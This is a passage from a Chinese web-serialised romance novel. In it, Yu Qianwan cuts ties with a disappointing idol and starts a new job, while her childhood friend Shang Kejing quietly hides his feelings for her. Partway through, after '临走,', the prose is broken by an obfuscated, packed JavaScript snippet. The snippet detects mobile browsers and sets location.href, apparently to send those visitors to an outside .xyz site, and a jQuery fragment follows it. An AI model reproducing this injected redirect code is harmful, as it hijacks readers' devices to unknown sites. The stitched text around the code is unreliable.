商恪景有些欠揍地探头往她手机旁凑了凑,一副很不信的样子。 虞千绾恼然地将手机屏幕朝他的方向转去,当着他的面从微信朋友圈退出,回到微信主页面。 指腹刚触在屏幕上打算下滑在聊天框里寻找常桦删除的时候,她突然想到,常桦的聊天框被自己删除了。 转而,虞千绾又戳入了好友列表去找常桦的微信,手指一下没停地点到删除好友页面,特意在删除之前将手机又在商恪景面前晃了晃,然后缓慢但重地在屏幕上狠点了一下,删掉了常桦的微信。 商恪景没说话,就是唇角的笑不知道什么时候扬起的,愈发压不住,笑得别提多灿烂。 “不至于吧?” 虞千绾眉毛疑惑浅皱,“我不就是删掉了常桦嘛?你怎么开心成这样?” 商恪景微微坐直些身子没再看她的手机,神情难掩得意,眼睛都笑到似噙星河,唇瓣一张直击重点,“虞千绾,你把我设成微信置顶啊,我对你这么重要呢?” 没想到他的关注点在这,估计是刚刚屏幕滑到微信主页面的时候被他偶然看到了。 冷不丁被点出,虞千绾有些别扭,但面颊上不显分毫,小脸微抬着很理直气壮地回:“很奇怪吗?我们不是好朋友吗?” “咱俩也不是最近才当好朋友啊,之前你置顶不就常桦一个?没见你把我放在置顶上。” 有时他们聊天会截图发给对方,商恪景早就在这样的细节里发现常桦是虞千绾的微信置顶,并没有他。 事实如此,虞千绾一时间回不过话,但又羞于去反复承认他这个朋友对自己的重要性,尤其还得面对着商恪景这么嘚瑟且欠欠的表情。 转头她就换了个思路开始反击,“你还好意思说我?那我的微信置顶现在好歹是你,你的微信置顶什么时候是我过?” “你一直——” 话语下意识的就要泄出隐藏多年的感情,商恪景当即闭了嘴,硬生生将话憋住吞下。 虞千绾面上瞬间展露笑颜,自以为赢下一城,傲娇的下颚抬了抬,洋洋得意,“怎么样?从微信置顶的角度来看,我比你做朋友做得更合格吧?” 商恪景偏过头看着空处,略有深意地笑了声。 “行。” 他转而拿起手机点入微信,手指一番假动作,给虞千绾营造出一种正在把她设置为置顶的假象。然后,他将手机屏幕转过去给她看,“现在你也是我的微信置顶了,以后要是被我逮到你偷偷把置顶撤掉,你就死定了,说明你这朋友做得非常不合格。” 曾经这么多年,商恪景每次在她面前点开微信都会稍加注意略将手机回扣些,以防被她发现她是他的微信置顶,时而给她截图时也会特意截掉置顶的那一截。 当下还是这么多年来,商恪景第一次这样光明正大的把微信置顶展露给虞千绾看,哪怕虞千绾完全没多想,商恪景的呼吸却还是微窒了须臾。 “必不可能!” 虞千绾雄赳赳气昂昂地说:“把你放在置顶上也是在提醒我,不能再恋爱脑,我得封心锁爱一段时间。” “最好是。” 长久的陪伴让商恪景都不太敢奢望虞千绾喜欢上他,他只希望虞千绾不要喜欢上别人,这样,他们就能以朋友的身份相处一辈子,如此就很好了。 - 商恪景其实是被虞千绾的消息声吵醒的,他凌晨将虞千绾送回来后又过了许久才睡着,压根没睡足八小时。 他在睡前就意识到自己睡得太迟了,怕虞千绾不舒服给他发消息他收不到,就在睡前特意将手机铃声调到最大,以便第一时间看到她的消息并给予回复。 而今,见虞千绾睡饱了开始恢复活力,商恪景的担心褪去不少,困意渐渐袭来,他开始一个哈欠接着一个,人也有些懒散的想躺下,但女孩子的床不方便,他便起了身晃荡了几下醒神,“没事我就先回去了,再补会儿觉,又困了。” “行,那你睡醒想吃什么?我订个餐厅到时候一起去吃顿好的。” “我都行,你定。” “ok。” 临走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328123|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线滑过床头柜依旧安静摆放着的保温杯,商恪景又驻足问了句:“蜂蜜水喝过没?” “啊?”虞千绾懵然看他,“什么蜂蜜水?” 商恪景故作漫不经心地往床头柜指了指,“就保温杯里的。凌晨那阵你想吐,我就给你弄了杯解酒,但你那会儿肚子里都是酒水,喝不下去多少,我就把剩的都放在保温杯里了。正好你刚不是说头还有些胀吗?喝点应该会舒服些。” “哦好,我才发现这有水,马上喝。” “行,我走了。” “拜拜~睡醒记得给我发消息,我们去干饭!” “好。” 商恪景离开后,虞千绾彻底把心思都放在了经营的账号上。 因为凌晨视频全部隐藏,不少爱看她视频的受众发来私信询问情况,她的私信都快要炸了,99+。 常桦的粉丝群也没好到哪里去,消息一条接着一条弹,可以说,虞千绾极少见群里有这么热闹、活人感这么足的时刻,还有些人直接发了视频八卦有没有知情人。 不过常桦没多少粉丝,所以这事在互联网上没闹多大,就小面积传播着,但在粉丝内部影响程度很大。毕竟娱乐圈有那么一句广为流传的话——大粉跑路多半是真塌房。遑论还是虞千绾这种陪伴了这么多年的氪金大粉。粉丝内部一下慌了神,猜测不断。 除此外,虞千绾还收到了一些熟悉ID发来的私信,大多是曾一起参加过线下应援活动的。她们都没过问太多,只是在私信里写着小作文怀念她们一起走过的线下,共同产生的回忆,祝福她现生快乐,字字句句都是那样的真切。 虞千绾看得心头感慨万千,尤其粉丝里还有好些是因为她的安利视频了解到常桦去喜欢他的,一想到这些,虞千绾就格外担心,担心不知情的人继续喜欢常桦,也担心还有新人涌入。 唯一值得庆幸的是,常桦真的不火,在娱乐圈查无此人,作为网红,他又不怎么开直播,并没从粉丝身上圈到多少钱。 毕竟也没那么多少人会像她这样傻,送钱送到这个地步。 虞千绾自嘲了两秒,切换手机软件进到剪辑视频的APP,用半分钟不到的时间做出了有史以来最为简短的一条图文视频。 没有任何BGM,也没有任何精心的剪辑,简洁明了的黑色背景上有着两个超大号白色字: 【快跑】 然后,虞千绾直接删除了被商恪景隐藏的那些视频,账号的总点赞和总评论量瞬间清零。 到底是自己一点一点经营建设起来的,看到的瞬间,虞千绾的眼睫没禁住轻眨了下,轻呼口气,她将ID和简介全部改为空白。不忍再回顾未读栏里的那么多昔日的评论与私信,她退出账号登入自己的日常号。 全平台账号都只留下了这么一条提醒。 22. 第 22 章 再一次睡醒后,商恪景给虞千绾发了消息。 两人简单收拾后出门吃饭。 眼睛太大在这种时候也是个苦恼,虞千绾的眼皮经过断断续续的冰敷后虽然没刚醒来时肿得那么夸张,但依旧很明显。 或许在正常的社交范围内旁人不会在意,但虞千绾自己很在意,她就是觉得很滑稽,于是搭配着衣着挑了副墨镜戴上完全把眼睛遮掩住不让人有瞧见的可能性。 商恪景揶揄她说不知道的还以为是哪个顶流女明星出街。 虞千绾全然不羞臊地应下,骄矜微扬下颚,只道自己这颜值要是进军娱乐圈,当上顶流也只是时间问题罢了。 商恪景心里自然是非常非常认同虞千绾颜值的,在他眼里,她绝对的最好看的异性。而且在他们这圈子里,管他什么顶流一线十八线的明星,统统都视作一样,并没什么特殊,毕竟没多少上阶层的人会去关注下下下阶层里分出的三六九等,就连家里开娱乐公司的周映灵在他们圈子里都只是地位平庸的那类存在,无关傲慢,只是生来环境便是如此。 但嘴巴上,商恪景说不出直白夸赞虞千绾漂亮的话,起码没法用一种诚心的语调说出,那种情况仅在小部分时刻才会被触发,大多时候他们都保持着一种欢喜冤家的相爱相杀态,譬如此刻,商恪景的回话很是欠揍,“那顶流能不能先把墨镜摘下来以正面目示人?” 虞千绾当即朝着商恪景扫去一个眼刀,但被墨镜遮挡着毫无杀伤力,她恼羞成怒,追着商恪景打了好一截。 幼稚要命的举措,压根不像两个二十多岁的人,倒像是小学生。 不过商恪景将度拿捏的刚刚好,他没逗虞千绾太久,感知到她要跑不动真要生气的时候,他就减速缓停,自觉让虞千绾逮住打了几下发泄。 但没多久,笑闹又起。 只因虞千绾的墨镜在去到餐厅用餐时也不肯摘下,全程戴着吃。 视线免不得昏暗些,她不小心把生姜看成了肉块,径直用筷子夹住送入口中,齿尖清脆一下咬开,辛辣瞬间在舌尖爆开,虞千绾五官瞬间痛苦皱起,低低啊了声,这才意识到自己认错了食物,奈何吐出时为时已晚。 商恪景第一时间给她递来了水,见她面色稍霁后当下那秒的紧张褪去,转而肩膀开始因笑轻颤。 虞千绾越涨红着脸不许他笑,他身子颤抖得越厉害,甚至还没绷住笑出了声。 自觉丢人的虞千绾一听也没绷住,顿时破了功也捂脸笑出声。 最后俩人双双笑趴在桌子上。 饶是如此,虞千绾依旧要面子的还不肯摘下墨镜。 刚从桌子上起来的商恪景又笑弯了腰。 - 因为商恪景的存在,他的陪伴,他们一起的笑闹。 虞千绾一整个白日都没太沉浸在悲伤的情绪里,包括冷不丁收到常桦经纪人的微信消息时。 虞千绾曾因参加常桦邀请的公司聚会活动见过他经纪人詹姝瑗一次,在那次,詹姝瑗主动找她交换了联系方式。 出于礼貌,虞千绾自然不会拒绝,两人的联系方式就这么顺理成章加上,但加上后就在对方的好友列表躺尸,并没有过任何对话交流,顶多就给对方的朋友圈点点赞。 但今日,詹姝瑗却突然主动发来了消息打破了这份礼貌的平静。 原因无需多问都想得到,定然是为了常桦而来的。 虽然常桦现在并不是詹姝瑗的重心,但詹姝瑗也在常桦身上花了不少心血,是她栽培起来的艺人,她自然还是想帮他说话的,于是来找了虞千绾试图将事件影响降到最低。当然,最怕的还是虞千绾真把事做绝,动用家里势力封杀了常桦。 詹姝瑗接连发了两个小作文,篇幅颇长,几乎占了手机的两三个屏幕。 话语看起来温和有礼,也先着墨许多站在虞千绾这边帮她说话,指责常桦不好,但最后也没少提常桦的好。 字实在太多,密密麻麻的,虞千绾眼睛本来就不舒服,看着更嫌眼睛疼,她懒得去细看,视线只草草带过,而且她就算不看都知道詹姝瑗目的是什么。 性格直接的虞千绾很不喜欢这种大家分明都心知肚明却还装傻迂回的举动,更何况她和常桦掰了,跟詹姝瑗更是毫无交情,她没必要在这处理他们的情绪他们的恐慌。 并且,詹姝瑗的担心非常非常多余,虞千绾压根不想再放什么注意力在常桦的身上,很不值得,她的时间比常桦值钱不知多少倍。也很没意思,常桦这个人没意思,这件事也没意思。 一如庭院那晚,她丢给常桦的最后一句话“今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 他们本就不是一个世界的人。 没了爱意后的虞千绾理智完全回笼,她现在的念头大多放在嘉澍集团上,马上就要国庆节了,她将要去拍摄视频经营新的工作账号了。 她当然能把事闹大,可如果闹破圈了,到时候她的工作新账号下估计都是这事,影响她的工作开展,这是个很不值的举措,若不是担心那批因为她的视频关注到常桦的粉丝继续被蒙在鼓里,她连那条视频都不会发,因为想整常桦实在有太多手段,一通电话就好,无需摆在台面上伤敌一千自损八百。 常桦的一千和她的八百显然不是一个量级。 而且,把他和她还有周映灵放在一起,简直不要太给他拔高身份……她还嫌丢人。 但这些话,虞千绾自不会直接和詹姝瑗说,跟商恪景咕哝了句“光记得删除常桦忘记删除她了。” 转手也送了詹姝瑗拉黑删除一条龙服务,一个字没回复,让他们自己狗咬狗的惴惴不安去。 商恪景看着虞千绾在面对纠缠时也淡定自如,情绪并没太大的起伏,甚至下一秒就跟他开开心心聊别的东西了,还在心里为她松了口气,觉得她已经从这关踏出一大半了。 但晚上,商恪景依旧没松懈,还是依着承诺的话留在了虞千绾家里陪着她,没让她独自一个人有emo的空间。 想着气氛需要欢快,商恪景还特意挑了部喜剧片子和她一起看。 但他忘了有一句评价喜剧很经典的话——喜剧的内核是悲剧。 商恪景挑选的这部片子其实也没那么悲,整体都是比较好笑的,但其中的某个小点突然就戳中了虞千绾的内心,她将片子认认真真看了进去,看到结尾的时候都没哭,却在用手机去网上搜影评讲解的时候红了眼眶。 商恪景及时攥住了虞千绾的手腕,没让她在哭泣的时候无意识去揉眼睛,否则她这刚有些好转的眼睛明天起来怕是又得肿得不成样。 商恪景在挑选这部片子时绝没想到这部片子的后劲会这么足,足到他看着虞千绾分享来的那些影评时心头都有些复杂。 不过听着虞千绾掺杂上自我理解的那些话,商恪景意识到她在说电影,但又不仅仅是电影。于是,他安静着做聆听者。 今天的虞千绾很快就调整好情绪,没有在悲伤和眼泪里陷太久,甚至还在理智压过感性后自我揶揄说:“果然,我最担心的画面还是发生了,还是这么没出息。” 商恪景却是笑着摇了摇头,“你已经很坚强了,心也像一座房子,受损了,修建总是需要些时间的。” 虞千绾眼圈蓦地又有些红,当即别开了视线不敢再同商恪景对视。 商恪景见状也低下了头不看她,给她自我调整的时间。 他们的关系总是这样,各种平淡和激烈的情绪都可以肆意表达,但暖心的宽慰会让他们束手无策。尤其还是当下这种情绪并没那么浓烈,话却极尽温暖的时候。 虞千绾想,大概是异性好友的原因,不能像闺蜜那样直接扑到怀里紧紧依偎着求安慰,总是要保持些微妙距离的,而且他们打小就是闹闹笑笑过来的,细腻与安慰不是他们的惯有表达。 楼梯前那样失控的拥抱是极少极少数情况。 - 虞千绾和商恪景都是有些宅的人,平常不太喜欢出门,但这几天,商恪景总拉着虞千绾出门。 出门倒也没什么很重要的事,就是简单的散散步逛逛公园,以此让虞千绾看看风景呼吸呼吸新鲜空气转移些注意力,不至于总窝在家里的那一方天地盯着手机。 就这么过了三天,国庆节假期正式到来。 虞千绾的眼睛明显好了些,早起冰敷后基本看不出红肿了,就是还有些仅自己可以觉察到的干涩,但并不那么严重了,时而不去刻意去想她自己都感受不到,一如她的心。 嘉澍集团旗下购物平台宣传广告和海报就在明日开拍,虞千绾得去现场拍摄花絮作为自己新账号的第一条内容,同她对接的工作人员今日发了好些消息过来与她沟通,她仅存的那么一点时间也被拉了过去,全身心投入其中。 商恪景照旧来找她出门,却见虞千绾已经精神大好地盘腿窝在沙发里电脑架在腿上跟人聊着工作,而非前些日子那般丧丧地蜷缩在卧室里不想起。 她的手机开着扩音,商恪景推开门就听到,脚步当即放慢。 虞千绾也听到开门声音,扭头指了指自己的手机同他示意。 商恪景了然地颔了颔首没打扰她,自觉坐到沙发另侧静音玩手机。 小插曲很快过去,虞千绾很快又投入工作中,双手在电脑键盘上飞速敲击着,手机就免提放在一旁。 商恪景偷睐了她眼,倒还真有了些平日里揶揄的“千绾总”的姿态。 许是见虞千绾工作的认真,商恪景有些自愧不如,默默起身回家把自己的电脑也拿了过来,还带了几本专业书,撸起袖子干起了本科毕业论文。 不多时,虞千绾的电话挂断,客厅里没了人声,只余电脑的敲击声此起彼伏地在客厅响着。 身处在这样的环境里,商恪景突然感觉学习、工作也不是件多痛苦的事。 只要一抬眼看到她,就很好。 当然,也就是这么想。 如果真去工作,他还是不乐意的,毕竟他俩不在一家集团,工作地点不像现在这么惬意随性。 “叮叮叮——” 虞千绾微信铃声忽响,商恪景一秒转回头,只闻虞千绾接通电话后语调微微困惑的同那头人说出他的名字,“商恪景?” 商恪景这才光明正大地侧目看向她,单眉微抬带着些询问。 但虞千绾正在和手机那头对话,尚没时间回应他。 “哦哦,这样啊。” “行,我问问他哈,毕竟他前段时间也受伤了,刚养好没多久,也不知道行不行。” “嗯嗯,我问完就给你发消息,你别急。” “没事~不客气。” 商恪景越听越好奇,全神贯注地盯着她。 虞千绾一边挂断电话,他一边开口问:“谁?” “我室友,盼雁。” 虞千绾将刚刚的电话内容转述给商恪景听。 事情是与徐盼雁的男朋友魏明轩有关,魏明轩同她们虽然不是同专业的同学,但归属于一个学院。 虞千绾是因为室友才知道魏明轩这个人,他时不时会来教室陪徐盼雁上课,也在食堂一起吃过饭,所以打过几次照面。商恪景则是因为打篮球知道的魏明轩,他篮球打得不错,大一大二的时候经常会在球场跟一行人约着打球,魏明轩篮球打得也好,还是校篮球队的队长,两人因打篮球相识,时不时会有共友邀请一起打篮球,但也仅限于此,并不太相熟。 大概在月底,二十号出头的那段日子,各高校之间的篮球赛将要展开。 作为校篮球 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魏明轩自然也想到了商恪景,但他连熟悉的人都喊不过来,哪里好意思临时去喊不怎么熟悉的商恪景,何况篮球赛前期筹备阶段,魏明轩就有联系过商恪景要不要参加,商恪景已经拒绝了,他便没再找,打算自己上,想来休养个二十天也能凑合着上,因为旁的那些能想到的人就算喊来球技也很一般,还不一定比得过有些小伤的他。 徐盼雁一万个不情愿魏明轩上场,虽然魏明轩还一副没事的模样憨笑着宽慰她说他以后又不是打职业的,就算落下点小病根也没啥,但哪有人会舍得自己爱的人有丁点问题? 可又知道男友对篮球队的重视程度,两相矛盾下,她还是选择联系商恪景做最后尝试,但她没有商恪景的联系方式,便找了和商恪景关系好的虞千绾,她知道他们住得很近。 徐盼雁也知道商恪景肯定也有自己要忙的事情,不好意思奢望太多,哪怕商恪景没法打完后续全部球赛都可以,只要在他有空的时候能来替一下魏明轩就好,一场都行,好歹能让魏明轩有一场的休憩时间。 不过她整体是不抱太大希望的,但也想做一个尝试,万一呢。 …… “你想我去吗?” 这是了解完全程后商恪景的第一句话。 虞千绾也很矛盾惆怅,她迅速摇摇头又滞缓地点了点头,“第一反应肯定是不想,你的伤也才刚好没多久,也很需要休养的。但盼雁给我打电话的时候估计还在医院呢,背景音嘈杂,声音也带着些恳求,听着挺让人心疼的,估计她很着急。” 商恪景看着虞千绾说“你的伤也才刚好没多久,也很需要休养”的时候微微轻皱的眉头,以及稍嗡下去的声调,感知到明确担忧的他唇角暗爽地扬了扬。 “诶——” 虞千绾灵光乍现,“或者,你有没有什么篮球打得比较好的朋友能介绍给魏明轩啊?这样你们俩就都不用上场了。” “没有。” 商恪景摇了摇头,“我认识的大多都不是咱学校的,这种高校间的比赛要核实学生身份的,他们没法代表我们学校打比赛,被发现会被通报批评并且取消比赛资格的。至于学校里那些,魏明轩认识的肯定比我多,能联系的他估计都联系过了。” 虞千绾上一秒还以为自己提出了绝妙的点子,下一秒听完这话又托腮无奈起来,发出幽长的叹息,“啊……好吧。” 商恪景忽然又问:“我要是去参加比赛,你会来给我加油吗?” 虞千绾不假思索地回:“当然啊,送毛巾送水一个都不能落。” “行,那你跟你室友说,我去。” 快速的一来一回对话落地,虞千绾懵然地眨了眨眼,空气静了刹那,她坐直了些身子,“啊?你确定吗?你后背可以吗?” “都是皮外伤,早好的差不多了。而且你不是跟你那室友关系不错吗?正好现在天气也凉下来了,不至于太热,就当去玩玩了。” 最重要的是,商恪景想享受一下打篮球的时候虞千绾在一旁为他欢呼,打完篮球后又递水又递毛巾的近乎“男朋友”的待遇。 “真的假的啊……” 虞千绾心里还是不太想商恪景去的,他要是身体没问题,她肯定乐意他去帮帮徐盼雁的男朋友,可他自己身体都不是最佳状态,哪里还能去顾及旁人?还是自身健康的优先级最高。 就像徐盼雁心疼自己男朋友一样,虞千绾肯定也担心自己的好朋友。 “真的啊,不然我脱下来给你看看?” 商恪景转了个身,背对着她,作势真要把衣领从颈后往下拽拽给她看自己后背的情况。 虞千绾一秒伸脚在他后腰位置踢了下,“你可算了吧,我怕长针眼。” 商恪景:“?” 他当即转过身,笑意全无,没好气质问:“虞千绾你有点品味没?” “我这么完美的身材别人求着看还看不到呢,长个屁的针眼。” “噗。” 虞千绾瞬间笑到仰过头,什么话都没明确说,嘲讽度却拉满。 商恪景有些破防,语噎地静默几秒突然哼笑了声,“而且你眼睛都肿成那么大过,一点点小针眼比起来只是小巫见大巫罢了,大不了再戴墨镜过几天呗。” “啊!” 又被提到这茬,虞千绾也有些破防,“商恪景你闭嘴啊。” 商恪景很欠揍地还边笑边在空中模拟用筷子夹东西,“然后再在吃饭的时候把姜当成肉。” “商恪景!你烦死了。” 虞千绾抡起靠在腰后的靠枕就砸向商恪景的肩膀,又窘又想笑。 互相伤害的两人莫名又笑闹起来。 但篮球赛的事基本敲定。 23. 第 23 章 翌日一早。 虞千绾在由轻渐重的闹铃声中醒来,素来会赖床一会儿的她今日却分外积极,左手去摸手机关闹钟的同时右手就撑着床单半坐了起来,未清醒的身形微微摇晃,眼睛也较显艰难地眯着,但依旧没怎么犯懒拖延地直接下了床。 毕竟是第一天工作,她还是有些激动和忐忑的,想要早些到达新环境观察适应。 虞千绾并非是个绝对性躺平的人,面对感兴趣、乐意去做的事,她可以付出百分之两百的努力。她极其不喜在局限且与旁人共存的环境下工作,也不喜数十年如一日稳定且重复率极高的工作,她会觉得很没意思。 她喜欢新鲜感,喜欢稳定中却又有些可控的不稳定,既不会让她乏味又不至于太难,还可以让她在完成后感到满足。 后者需要接触后才能确切感知到,而前者,现在的账号经营无疑就给到虞千绾这种感觉,所以她没什么抵触情绪,反倒挺开心地进入,主动深入了解。 最让虞千绾喜欢的就是时间地点上相对的自由度与灵活性,她不用天天早起去到公司里坐班,也无需等到工作之余才能享受生活,她依旧可以和朋友们约着出去玩,因为她的工作只需要一台电脑,她在闲暇时间拿出电脑就可以写脚本剪辑视频,像今日这种要去现场拍摄的到底是少数情况。而且就算她某段时间得花很多时间在工作上没法游玩,但起码能换个新环境,在山清水秀的地方待着处理工作也比在公司里好。 综上,几乎可以说,这份工作是虞千绾的梦情工作了,所以她愿意把精力投入其中,愿意在其中努力向上,想要成功把号做成,创立出很多很多十万加点赞量的视频,这样她就可以靠着经营账号和姐姐赌一辈子,再不用无趣且煎熬地坐在办公室里对着一堆电脑和文件挠头。 就在几个月前,她还以为自己就要过上这样的日子了,幸福来得突然,她更为珍惜。 不过她的身份可不仅仅是新账号的宣传经营者那么简单,她还是嘉澍集团的另一位继承人。 虽然虞千绾并没有继承嘉澍的念头,但她确是爸妈的孩子,外人都会这么认为她,她自也不想给家人丢脸。 而且第一次正式负责与嘉澍相关的业务,虞千绾想要表现出在职场中该有的那份成熟与气场。 这大概是许多年轻人的通病,总想要将自己打扮的成熟。 于是虞千绾学着姐姐平日的穿搭穿了身偏休闲风的西装套装,不那么随意也不那么夸张,脚下配了双纯黑色的尖头高跟鞋,经常披着的卷了发尾的长发也被她挽起盘在脑后,妆容颜色也没有用什么鲜艳的亮色,尤其在眼周,仅用眼线轻带,化了个干净利落淡到像没怎么化的淡妆。 奈何就算照搬照套都没什么用,虞千绾看着镜中的自己,完全没感觉到姐姐的那份气场。见到陌生人或许能唬住别人几分,可见到熟人完全唬不住,熟人会一眼看出她在装大人。 虞千绾对着镜子左转转右转转怀疑人生,她足足一米七的个头,姐姐也就比她高了两厘米,气场怎么会悬殊这么大呢。 虽然她知道问题出在眼睛上,但还是免不得惆怅感慨。 她跟姐姐长得非常非常像,如若只看下半张脸,几乎是一模一样,但只要露出眼睛,姐妹俩的气质就完全不同了。 虞千绾的眼睛圆润有神,稍有些笑意眼睛就亮晶晶的,看着像只纯良的小白兔。 虞昭音的眼睛则是狭长冷淡型的,天然会给人一种距离感。 奈何眼睛在面部的存在感太强,使得她们给人的感觉悬殊很大,所以明明除了眼睛都很像的姐妹俩却没多少人说她们长得像,甚至旁人还觉得虞昭音的唇要更薄些,眉毛更细长些,总归是更显凌厉的那种。 故以,虞千绾化妆时还小心机的把唇在视觉上化薄了些,然而并没什么用。 毕竟她还没从学校里毕业,还有着未被磨砺过的学生气,周身的气场很难和在嘉澍叱咤多年的姐姐相似。 天生的外形不可改变,至于内在塑造的气场…… 嗯……如果要像姐姐那样努力工作才能塑造的话…… 虞千绾一秒转变立场,自觉自己这样也很好,气场不要也罢,反正都是虚的,享受到的悠闲自在才是真的。 哄好自己,虞千绾提着包包哼着小曲出门。 推开门她发现商恪景的家门居然大敞着,他怎么这么早也醒了? 但这念头没在虞千绾脑海里停留太久,她只觉得找到了一个显摆对象,踩着高跟鞋就踏入商恪景家里。 商恪景正窝在沙发上打游戏,在隔壁门打开的时候他就听到了,视线早不知往门口瞟了多少次,这次虞千绾真过来了,他倒收起视线在那故作没发现的继续打游戏,直到虞千绾的脚步声一点点靠近,他才一副刚发现的模样掀眸看去。 只见虞千绾迎着他的视线逐步迈近,但她步子迈得比正常步伐小,脚踩地时力度也稍重,高跟鞋俏皮在她脚下发出哒哒哒的清脆音,注意力彻底从游戏里移开,商恪景眉眼噙笑定睛追随着她,眼睛一眨不眨。 站定的那刻,虞千绾下意识想要拨一下秀发侧扬脸庞故作姿态,但手指触到肩上的瞬间才想起头发被自己盘起了,转而,她手掌虚虚在圆润的后脑勺捧了捧,“看我,是不是有几分我姐的样子了?” 商恪景放下手机,几乎是瞬间就get到虞千绾想要表达的点,附和地鼓了鼓掌,“哪能?昭音总是昭音总,千绾总是千绾总,两位总各有各的气场,但都相同的漂亮有内涵。” “小商有口才啊,明天就提拔你当我贴身助理。” “这么有口才还得等到明天吗?千绾总先提拔我一天,我多一天工资啊。” “哈哈哈哈。” 虞千绾被哄得乐得合不拢嘴,故作高姿态地朝他摆了摆手,“行行行,那今天晚餐商助理安排好发我手机上啊。” 她拍了拍胸脯,“一切消费由千绾总买单。” 商恪景左手握拳,右手覆在左手上,朝她掬了掬,“大方阔绰的千绾总放心去商界厮杀吧,我会为您完美处理好生活琐碎的,尤其第一天工作的晚餐,我一定竭力让您满意。” 虞千绾都快要被这突如其来的戏尬翻也爽翻,但很讲义气地跟商恪景说:“你放心,等你去永誉上班的时候,我也这么跟你演。” “只是演吗?我还真缺个贴身助理。” “想得美。”虞千绾鼻尖傲娇轻哼,“我可是千绾总。不跟你说了,我要去工作了!车已经在楼下等我了。” 她可可爱爱地来,风风火火地走。 让他的心满了又缺。 商恪景全程视线追随,听到电梯开启又关闭的声,他才念念不舍起身把家门关上。虽然还有些同她分开的小惆怅,但面上那些积蓄着的因她产生的笑意还没散去。 - 嘉澍集团旗下购物平台新签的代言人叫容博延,是演艺圈新一代奖项流量双断层的顶流艺人。 他的私德也很不错,对待所有工作人员都是笑吟吟的一视同仁,不会随便耍大牌,但显然有人同他及他的工作人员说过虞千绾的身份,他们对待虞千绾尤其客气,生怕怠慢了她。 容博延很会摆镜头,身材也有着特别锻炼过的痕迹,将身上的衣服撑得恰到好处,长相也是显而易见的英俊。 拍摄这么个既帅又懂得技巧的人,虞千绾现下省心许多是毋庸置疑的,也省了很多后期美化P图的麻烦。 对比起当初…… 逐渐清醒的她不禁感叹之前给常桦拍视频出片真的吃了太多苦…… 常桦能进娱乐圈,颜值在平常人里自也是上等的,但在满是帅哥美女的娱乐圈,常桦就显得平庸许多,尤其他还是个淡颜系,在一群吸睛的浓颜帅哥里绝不会被先被注意到的那个。 所以每一次,虞千绾给他拍摄的时候都得找很久的角度隔除旁人,或者出片后裁掉别人,总之是没有当下拍容博延这么丝滑顺利。及时现下容博延旁边也有帅哥,那大多也只有给他当绿叶陪衬的份,虞千绾完全不用怕旁人对他产生威胁。 第一次拍摄就这么顺利成功的临近尾声。 为了给新账号引流,虞千绾还让容博延帮她签了几十张签名照,以及后续的抽奖to签,届时全都发放给评论区的网友当做福利。 - “昭音总。” 虞昭音刚来到拍摄现场就被几位工作人员看到,其中一人率先礼貌唤了声,她微微颔首,然后比了个嘘示意工作人员都安静下来忙自己的就行不用管她。 今日这种小场合自然无需她这个总裁过来,但这是虞千绾第一天工作,作为姐姐,虞昭音觉得她需要来。 姐妹俩因为悬殊十岁,虞昭音的阅历总是先虞千绾十年,虞千绾的很多个有特殊意义的第一次,虞昭音都陪伴在侧。 很多时候也不是虞千绾提什么要求,只是虞昭音爱护妹妹,心念妹妹,甚至有时是虞昭音在好奇虞千绾的生活,想尽可能多的了解她的生活,不想因为年龄的代沟错过什么。 于是,在虞千绾第一次正式工作的时刻,虞昭音依旧来了,没有错过,还特意带了束花。 不过为了不打扰环境不喧宾夺主,虞昭音把花放在了休息间没抱着过来,打算过会儿单独送给虞千绾。 还没收到花,仅是忙完工作后的一个余光扫见姐姐,虞千绾就高兴地朝她小跑去,第一时间拉住姐姐的手同她分享自己的快乐和斗志,“姐~我就知道你会来!我跟你说哦,我有信心,这次我绝对又能弄到最少三个月的假期!反正我拍了好多视频呢,又没说一个人的只能发一次,一个视频三十万点赞有难度,三个十万的就没那么难了。” 虞昭音一向冷淡的模样在此刻变得极度柔和,就像面对着孩子一样,她抬手细心帮虞千绾左额前微微散乱下来的那缕碎发勾起往后捋了捋,“已经做得很好了,爸妈和小橙子也让我带话来祝你开启人生新篇章呢。” “好耶,收到收到。等回家路上,我再挨个给他们发消息~” 虞昭音来这看了好一阵了,看到虞千绾的第一眼,她就发现妹妹在学自己的打扮,但许是见多了妹妹稚嫩的模样,她倒不觉妹妹在装成熟,而是真的在成熟在长大了。 她看着虞千绾架着拍摄器材一脸认真严谨地和各方负责人对接,看着虞千绾踩着高跟鞋忙忙碌碌的模样,很切实的感觉到记忆里的妹妹在长大。 为妹妹欣喜之余,虞昭音还有些怅然若失。 幸而,在看到她后,妹妹还是第一时间那么可爱俏皮的靠近她,同她撒娇,同她叽叽喳喳有着说不尽的话,还是那个小女孩。 捏了捏虞千绾胳膊,虞昭音问:“忙完了吗?忙完了咱们去休息室聊会儿?” 她就是抽空过来看看虞千绾第一天工作适不适应,过会儿还得回总公司忙自己的工作,并没太多的时间。 “那姐姐你等我一下,我还有最后一件事跟他们说一下就可以了。” 虞昭音点了点头,看着虞千绾像只小蝴蝶绚烂地飞走又飞回。 “好啦!” 虞千绾直接挽住虞昭音的胳膊,同她一起去到休息室。 还不待虞昭音说,虞千绾就自觉抱起放在里头的花,“哇~好漂亮,好明媚的配色。” 虞昭音买的花是黄色系的,浅黄、嫩黄、橙黄,许多不同颜色的花朵形成层次感,其间缀有白色小花,四周则是黄莺和小圆叶尤加利。 花束原先摆放的位置并没有阳光,虞昭音怕日头给花儿晒蔫吧了不好看,但这一会儿的功夫,太阳的位置变化,光线正好刺到了花束上,倒让本就惹眼的黄色系花朵更显明媚温暖。 虞千绾很是喜欢,头都挨下去猛吸一口,“好好看呀,我还是第一次收到黄色系的花呢。” “很明媚很治愈,很像你。” 正因如此,虞昭音才买下这束花。 “嘿嘿,谢谢姐姐~” 虞千绾嗓音更夹了些,脑袋挨过去蹭了蹭姐姐。 